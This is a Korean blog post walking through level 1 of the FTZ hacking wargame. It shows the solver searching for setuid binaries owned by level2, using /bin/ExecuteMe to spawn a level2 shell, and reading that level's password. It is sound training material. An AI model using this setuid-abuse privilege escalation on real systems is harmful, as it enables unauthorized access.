본문으로 바로가기

level 1 문제 해결

category Security/리버싱 2017. 11. 27. 20:53

- 백도어 

악의적인 사용자가 시스템의 보안 헛점을 응용하는 고의로 만들어진 프로그램

사용자 인증등 정상적인 절차를 거치지 않고 응용프로그램 또는 시스템에 접근 할 수 있는 프로그램


- level 1

ftz.hackershool.org 


[level1@ftz level1]$ ls -l

 

 합계 12

-rw-r--r--    1 root     root           47  4월  4  2000 hint

drwxr-xr-x    2 root     level1       4096 12월  7  2003 public_html

drwxrwxr-x    2 root     level1       4096  1월 16  2009 tmp


 


> hint 파일 발견 


[level1@ftz level1]$ cat hint

 

 

level2 권한에 setuid가 걸린 파일을 찾는다.


 


find 명령어를 통해 찾는다 


[level1@ftz level1]$ find / -user level2 -perm -4000 2>/dev/null

 

 /bin/ExecuteMe

 


> 소유자가 level2 이고 퍼미션이 최소 4000이상인 것들 

> ExecuteMe 하나가 검색 되었고 어떤 파일인지 확인한다. 


[level1@ftz level1]$ file /bin/ExecuteMe

 

 /bin/ExecuteMe: setuid ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), for GNU/Linux 2.2.5, dynamically linked (uses shared libs), not stripped


 

> 실행 파일


[level1@ftz level1]$ ls -l /bin/ExecuteMe

 

 -rwsr-x---    1 level2   level1      12868  8월 19  2014 /bin/ExecuteMe

 


[level1@ftz level1]$ /bin/ExecuteMe

 

 



                레벨2의 권한으로 당신이 원하는 명령어를

                한가지 실행시켜 드리겠습니다.

                (단, my-pass 와 chmod는 제외)


                어떤 명령을 실행시키겠습니까?



                [level2@ftz level2]$



 


 > level2의 권한을 얻는 것같다.  bash를 치면 level2의 권한으로 쉘프롬프트가 뜬다.


[level2@ftz level2]$ id

 

 uid=3002(level2) gid=3001(level1) groups=3001(level1)

 


> level2 의 쉘을 실행하고 /bin/ExecuteMe는 종료 되었기 때문에 my-pass 명령어 실행 가능하다. 


[level2@ftz level2]$ my-pass

 

 

Level2 Password is "hacker or cracker".


 

> level2 의 암호 획득 


'Security > 리버싱' 카테고리의 다른 글

Level2 문제 해결  (0) 2017.11.28
level 1 문제 해결 ( /bin/ExecuteMe 해석 )  (0) 2017.11.27
GDB 사용법  (1) 2017.11.27
리버싱 실습환경 구성  (0) 2017.11.27
어셈블리언어  (0) 2017.11.27